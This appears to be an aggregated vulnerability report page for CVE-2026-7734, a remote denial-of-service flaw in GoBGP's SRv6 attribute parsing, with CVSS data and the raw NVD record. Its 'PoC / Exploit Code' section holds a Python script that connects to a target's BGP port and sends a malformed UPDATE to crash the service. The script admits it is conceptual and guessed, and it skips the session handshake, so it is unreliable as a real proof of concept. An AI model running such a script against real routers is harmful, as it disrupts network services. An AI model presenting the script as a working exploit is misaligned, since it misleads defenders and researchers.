Security Vulnerability Report
中文
CVE-2026-7734 CVSS 5.3 MEDIUM

CVE-2026-7734

Published: 2026-05-04 06:16:02
Last Modified: 2026-05-06 20:26:55

Description

A vulnerability has been found in osrg GoBGP up to 4.3.0. This impacts the function SRv6L3ServiceAttribute.DecodeFromBytes of the file pkg/packet/bgp/prefix_sid.go of the component SRv6 L3 Service. Such manipulation of the argument data leads to denial of service. The attack may be performed from remote. Upgrading to version 4.4.0 will fix this issue. The name of the patch is f9f7b55ec258e514be0264871fa645a2c3edad11. You should upgrade the affected component.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:osrg:gobgp:*:*:*:*:*:*:*:* - VULNERABLE
osrg GoBGP <= 4.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target configuration TARGET_IP = "192.168.1.100" BGP_PORT = 179 def craft_bgp_marker(): # BGP Marker (16 bytes all ones) return b'\xff' * 16 def craft_bgp_open(): # Simplified BGP OPEN message to establish session # Marker (16) + Length (2) + Type (1) + Version (1) + My AS (2) + Hold Time (2) + BGP ID (4) + Opt Len (1) length = 29 bgp_open = struct.pack('!HBBHHI', length, 2, 4, 100, 90, 0x01010101) + b'\x00' return craft_bgp_marker() + bgp_open def craft_malicious_update(): # Constructing a malicious BGP UPDATE message targeting SRv6 L3 Service # This is a conceptual PoC. The specific bytes would depend on the exact vulnerability. marker = craft_bgp_marker() # BGP Header: Length (2), Type (1) -> Type 2 is UPDATE # We need to inject the bad data into the Path Attributes or NLRI # Assuming the vulnerability is triggered in the TLV parsing of SRv6 type_byte = 2 # UPDATE # Construct payload (Withdrawn Routes, Path Attributes, NLRI) # Example malformed attribute for SRv6 # Attribute Flags, Type Code, Length, Value (Malformed) malformed_attr = struct.pack('!BBH', 0xc0, 0x1d, 0x0004) + b'\x00\x00\x00\x00' withdrawn_len = 0 attr_len = len(malformed_attr) nlri = b'' # Calculate total length: Marker(16) + Len(2) + Type(1) + WithdrawnLen(2) + Withdrawn(0) + AttrLen(2) + Attr + NLRI total_len = 16 + 2 + 1 + 2 + withdrawn_len + 2 + attr_len + len(nlri) header = struct.pack('!H', total_len) + struct.pack('!B', type_byte) body = struct.pack('!H', withdrawn_len) body += struct.pack('!H', attr_len) body += malformed_attr body += nlri return marker + header + body def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, BGP_PORT)) # 1. Send OPEN to establish session (Simplified) # s.send(craft_bgp_open()) # 2. Send Malicious UPDATE print("[*] Sending malicious BGP UPDATE packet...") s.send(craft_malicious_update()) print("[+] Packet sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7734", "sourceIdentifier": "[email protected]", "published": "2026-05-04T06:16:02.197", "lastModified": "2026-05-06T20:26:55.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in osrg GoBGP up to 4.3.0. This impacts the function SRv6L3ServiceAttribute.DecodeFromBytes of the file pkg/packet/bgp/prefix_sid.go of the component SRv6 L3 Service. Such manipulation of the argument data leads to denial of service. The attack may be performed from remote. Upgrading to version 4.4.0 will fix this issue. The name of the patch is f9f7b55ec258e514be0264871fa645a2c3edad11. You should upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "05DBB6FD-F3CD-4BF0-A573-D1E87307A50F"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/osrg/gobgp/commit/f9f7b55ec258e514be0264871fa645a2c3edad11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/osrg/gobgp/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://vuldb.com/submit/807581", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/360909", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/360909/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}]}}